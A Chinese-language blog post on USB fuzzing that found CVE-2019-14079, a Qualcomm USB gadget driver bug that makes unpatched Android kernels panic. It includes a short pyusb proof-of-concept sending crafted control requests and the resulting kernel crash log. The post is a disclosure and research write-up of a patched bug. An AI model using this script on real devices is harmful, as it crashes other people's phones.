parallelbeings/cve-2019-14079USB device fuzzing on Android Phone
这篇博客文章是关于我在我的安卓设备（MI A2 - 运行原生安卓）上通过 USB 设备模糊测试发现的一个简单漏洞，谷歌将其标记为高严重性。该漏洞存在于高通 USB 驱动中，后来在 2020 年 3 月的安卓公告中被修补并披露。关于该漏洞，当你向安卓手机发送精心构造的 USB 请求时，会导致安卓内核崩溃，手机重启。
这个漏洞是由于 USB gadget 的 'core.c' 中使用了一个未初始化的变量。漏洞详情可以在以下高通安全公告和 2020 年 3 月安卓公告中找到。
https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin
安卓手机同时支持设备模式和主机模式。在设备模式下，你可以使用 USB 线将手机连接到电脑，并通过不同的 USB 连接模式（如仅充电、MTP）将图片、音乐从手机共享到电脑。在主机模式下，你可以使用 OTG 线连接耳机、U 盘等设备，此时你的设备作为客户端，安卓手机作为主机。
该漏洞是通过随机化 USB 控制参数（如 bmRequestType、bRequest、wValue（bDescriptorType:DescriptorIndex）、wIndex 和 wLength）并将其发送到安卓设备而发现的。通过从 Linux 主机向安卓发送一系列控制请求（如下面的脚本所示），手机中的 USB 设备驱动解析这些请求并导致内核恐慌。
你可以查看以下视频，了解 Andrey Konovalov 在 Offensive-con 2019 上关于 USB 概述和模糊测试的讲解，以及 USB 协议基础：USB 101：通用串行总线 2.0 介绍。
https://www.youtube.com/watch?v=1MD5JV6LfxA
受影响芯片组：APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130
如果你的手机未更新 2020 年 3 月安卓补丁，重现该漏洞的步骤如下：
#!/usr/bin/env python3
import usb.core
dev = usb.core.find(idVendor=0x2717, idProduct=0xff40)
send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000)
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000)
print("Received: " + str(send))
[ 314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[ 314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[ 314.639060] Modules linked in: wlan(O)
[ 314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G O 4.4.153-perf+ #1
[ 314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[ 314.639100] Workqueue: dwc_wq dwc3_bh_work
[ 314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[ 314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[ 314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[ 314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[ 314.639129] sp : ffffffc1f747fbd0
[ 314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020
[ 314.639141] x27: ffffff95db082010 x26: 000000000000c040
[ 314.639148] x25: ffffffc174099020 x24: ffffff95db806000
[ 314.639156] x23: 0000000000000000 x22: ffffffc1f613da00
[ 314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00
[ 314.639172] x19: ffffffc174099070 x18: 0000000000000010
[ 314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634
[ 314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff
[ 314.639193] x13: 0000000000000008 x12: 0101010101010101
[ 314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe
[ 314.639208] x9 : ffffffffffffffff x8 : 0000000000808000
[ 314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852
[ 314.639222] x5 : 3a534656330100ff x4 : 0000000000000001
[ 314.639230] x3 : 000000000000000a x2 : 00000000ffffff98
[ 314.639237] x1 : dead000000000100 x0 : dead000000000200
此外，崩溃日志并未解释崩溃的原因。因此，我计划在我的新 Pixel 设备中向构建添加 KASAN，并通过适当的检测技术（例如在模糊测试时监控日志中的崩溃）改进设备模糊测试。另外，libusb 不允许发出大型控制请求，大多数情况下请求会被截断。所以我计划尝试使用 Kate Temkin 的例子（fusee_gelee），通过 ioctl 直接向 USB 驱动发出命令。